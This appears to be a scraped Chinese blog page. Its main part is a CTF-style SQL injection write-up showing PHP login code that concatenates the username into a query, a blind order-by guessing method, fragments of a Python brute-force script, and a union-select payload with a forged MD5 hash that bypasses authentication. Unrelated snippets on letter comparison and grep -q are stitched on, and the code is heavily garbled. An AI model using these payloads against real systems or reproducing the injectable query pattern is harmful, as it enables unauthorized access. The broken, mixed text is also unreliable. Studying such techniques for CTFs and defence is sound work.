利用場景,先判斷使用者名稱再判斷密碼
$sql
="select * from admin where username='"
.$username
."'"
;$result
=mysql_query
($sql);
$row
=mysql_fetch_array
($result);
if(isset
($row)&&
$row
['username'
]===
'admin'
)else
}else
有如下表
我們嘗試用order by去猜測password的值
這裡很明顯能看出來,當用聯合查詢出來的password值是1和2時,最終選擇出來的就是1,2(挑選出來第一行),頁面會顯示使用者名稱錯誤,當為3時則選擇出來的是真正的使用者名稱admin,這時顯示的是密碼錯誤,這樣我們就可以根據回顯一位一位的猜解password的值。
給出乙個通用的指令碼,大家可以根據過濾情況進行修改。
s =
'0123456789:abcdefghijklmnopqrstuvwxyz
r=requests.post(url,data=data)
if"wrong pass!"
in r.text:
password+=
chr(
ord(j)-1
)print
(password)
break
當然還有乙個小技巧繞過
因為原始碼中要判斷輸入的密碼的md5值與查詢出來的密碼是否一致。
這裡直接構造
payload:username=' union select 'admin','c81e728d9d4c2f636f067f89cc14862c' #&password=123
其中c81e728d9d4c2f636f067f89cc14862c為123的md5值
比較字母大小
題目描述 任意給出兩個英文本母,比較它們的大小,規定26個英文本母a,b,c.z依次從大到小。輸入要求 第一行輸入t,表示有t組資料 接下來有t行,每行有兩個字母,以空格隔開 輸出要求 輸出各組資料的比較結果,輸出格式見樣例輸出 注意輸出嚴格按照輸入的順序即輸入是a b,輸出時必須是a b 輸入樣例...
grep q 大小比較
grep q 在shell指令碼中,你只需要知道grep有沒有找到指定的字串,而不需要滿螢幕列印出來,因為那樣會很難看。這只可以加 q選項,執行結果是 如果找到了,會返回0,否則,返回1。然後你在接下來的語句中檢查 的值,就知道grep有沒有找到需要的字串了。舉個例子,假設檔案a.txt的內容為 a...
比較字母大小
時間限制 3000 ms 記憶體限制 65535 kb 難度 1 描述 任意給出兩個英文本母,比較它們的大小,規定26個英文本母a,b,c.z依次從大到小。輸入 第一行輸入t,表示有t組資料 接下來有t行,每行有兩個字母,以空格隔開 輸出輸出各組資料的比較結果,輸出格式見樣例輸出 注意輸出嚴格按照輸...